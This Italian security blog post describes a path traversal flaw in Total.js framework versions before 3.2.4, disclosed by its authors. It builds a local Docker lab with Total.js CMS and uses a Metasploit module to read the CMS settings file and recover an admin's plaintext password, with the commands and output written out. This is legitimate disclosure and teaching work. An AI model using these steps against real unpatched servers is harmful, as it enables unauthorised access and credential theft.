Weak password or weak hash function
A new tragedy
Dario Ragno
Total.js è un framework per Node.js scritto in JavaScript e simile a Laravel per PHP o Django per Pyhton. Con questo framework è possibile scrivere applicazioni web, desktop, servizi o app per dispositivi IoT.
Le versioni del framework precedenti alla 3.2.2 sono vulnerabili a Directory Traversal. Questo attacco, noto anche come Path Traversal, consente ad un attaccante di accedere a file e directory fuori dalla root del web server.
In questo articolo descriviamo come creare un ambiente con un CMS vulnerabile e sfruttare Metasploit per recuperare il nome utente e password dell'amministratore.
Per provare a sfruttare la vulnerabilità abbiamo bisogno di un'applicazione scritta con Total.js. Il modo più semplice è utilizzare il Total.js CMS offerto dagli sviluppatori Total.js.
Inoltre, per realizzare velocemente l'ambiente vulnerabile, abbiamo scelto di usare i container e la tecnologia docker per il deploy.
Lets go!
Creiamo una cartella in cui memorizzare i "sorgenti" dell'immagine docker:
root@kali:~# mkdir totaljs
Entriamo nella cartella e cloniamo il CMS da GitHub.
root@kali:~# cd totaljs && git clone https://github.com/totaljs/cms.git
Per avere almeno un utente nel CMS, sostituiamo il contenuto di cms/databases/settings.json
con il seguente:
{"componentator":false,"smtpoptions":"","smtp":"","languages":[],"signals":[],"users":[{"id":"f92trzhgdkvu1mt","name":"Tony Stark","login":"tony.stark","password":"certimetergroup","roles":["Dashboard","Events","Newsletters","Notices","Pages","Posts","Settings","Subscribers","Widgets"]}],"navigations":[{"id":"mainmenu","name":"Main menu"}],"notices":[{"id":"tweet","name":"Tweet"}],"posts":[{"id":"blog","name":"Blog"}],"templatesnewsletters":[{"id":"newsletter","name":"Default"}],"templatesposts":[{"id":"post","name":"Default"}],"templates":[{"id":"default","name":"Default"},{"id":"navigation","name":"With navigation"},{"id":"fluid","name":"Fluid"}],"url":"http://127.0.0.1:8000","emailsender":"info@totaljs.com","emailreply":"info@totaljs.com","emailcontactform":"info@totaljs.com"}
Quindi, nella cartella totaljs, creiamo il dockerfile
, apriamolo con il nostro editor preferito (per es.: nano dockerfile
) e inseriamo il seguente contenuto:
FROM node:8
WORKDIR /home/node/totaljs
COPY cms/package*.json ./
RUN npm install
COPY cms/ .
RUN npm install total.js@3.2.2
EXPOSE 8000
CMD ["node","debug.js"]
Ok, adesso creiamo l'immagine di Total.js vulnerabile con docker build
:
root@kali:~/totaljs# docker build -t totaljs:3.2.2 .
Al termine del processo di "compilazione", lanciamo l'immagine totaljs:3.2.2
e associamo la porta predefinita di Total.js (8000) con la porta 8322 del nostro host:
root@kali:~/totaljs# docker run -p 8322:8000 totaljs:3.2.2 --name totaljs-3.2.2
Se tutto è andato a buon fine, possiamo vedere il front-end del CMS su http://localhost:8322/.
Invece, per accedere al back-end è sufficiente andare su http://localhost:8322/admin.
Per sfruttare la vulnerabilità, avviamo la console di Metasploit:
root@kali:~# msfconsole
Una volta avviata, selezioniamo il modulo totaljs_traversal
:
msf5 auxiliary(scanner/http/totaljs_traversal) > use auxiliary/scanner/http/totaljs_traversal
Ora possiamo verificare se l'host è vulnerabile a Directory Traversal!
La ACTION
predefinita per questo modulo è la CHECK
che rivela se "host:port" è vulnerabile a Directory Traversal. Inoltre, questa action raccoglie altre informazioni utili come la versione del framework, il nome dell'applicazione in esecuzione, la versione dell'applicazione in esecuzione, ecc.
Per verificare se il container nel nostro laboratorio è vulnerabile, impostiamo l'host e la porta:
msf5 auxiliary(scanner/http/totaljs_traversal) > set rhost localhost
rhost => localhost
msf5 auxiliary(scanner/http/totaljs_traversal) > set rport 8322
rport => 8322
Adesso eseguiamo la verifica con run
:
msf5 auxiliary(scanner/http/totaljs_traversal) > run
L'output è simile al seguente:
[*] Total.js version is: ^3.2.2
[*] App name: CMS
[*] App description: A simple and powerful CMS solution written in Total.js / Node.js.
[*] App version: 12.0.0
[*] Auxiliary module execution completed
Ok, il nostro container di test è vulnerabile! La versione del framework è, stranamente, la 3.2.2 e l'applicazione in esecuzione è Total.js CMS alla versione 12.0.0.
Proviamo ora a sfruttare la vulnerabilità di Directory Traversal per rubare le credenziali degli utenti del CMS. Per fare ciò, possiamo usare l'azione READ
che consente di leggere i file dalla console di Metasploit (in alternativa si può usare l'azione DOWNLOAD
per scaricare il file).
Il CMS archivia le credenziali degli utenti nel file settings.json
contenuto nella directory database/
. Quindi, impostiamo la action READ
, impostiamo il file database/settings.json
e proviamo a recuperarlo dal CMS:
msf5 auxiliary(scanner/http/totaljs_traversal) > set action READ
action => READ
msf5 auxiliary(scanner/http/totaljs_traversal) > set FILE databases/settings.json
FILE => databases/settings.json
msf5 auxiliary(scanner/http/totaljs_traversal) > run
Il modulo sfrutta la vulnerabilità e recupera il file. Di seguito l'output del modulo:
[*] Getting databases/settings.json...
{"componentator":false,"smtpoptions":"","smtp":"","languages":[],"signals":[],"users":[{"id":"f92trzhgdkvu1mt","name":"Tony Stark","login":"tony.stark","password":"certimetergroup","roles":["Dashboard","Events","Newsletters","Notices","Pages","Posts","Settings","Subscribers","Widgets"]}],"navigations":[{"id":"mainmenu","name":"Main menu"}],"notices":[{"id":"tweet","name":"Tweet"}],"posts":[{"id":"blog","name":"Blog"}],"templatesnewsletters":[{"id":"newsletter","name":"Default"}],"templatesposts":[{"id":"post","name":"Default"}],"templates":[{"id":"default","name":"Default"},{"id":"navigation","name":"With navigation"},{"id":"fluid","name":"Fluid"}],"url":"http://127.0.0.1:8000","emailsender":"info@totaljs.com","emailreply":"info@totaljs.com","emailcontactform":"info@totaljs.com"}
[*] Auxiliary module execution completed
È possibile osservare alcune informazioni utili, in particolare il nome utente "login":"tony.stark"
e la password in chiaro "password":"certimetergroup"
. Ora possiamo andare su http://localhost:8322/admin/ e provare ad accedere con le credenziali individuate.
Questo post illustra come un Path/Directory Traversal nel framework Total.js possa portare alla perdita di credenziali in un CMS. La vulnerabilità è rimasta nascosta nel core di Total.js per oltre 3 anni. La vulnerabilità non è più sfruttabile a partire dalla versione 3.2.4.
Vorremmo ringraziare le persone di Snyk e di Total.js che, molto professionalmente, hanno collaborato con noi per risolvere il problema.
Gemma Contini
Daniele Scanu
Fabio Carretto
Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.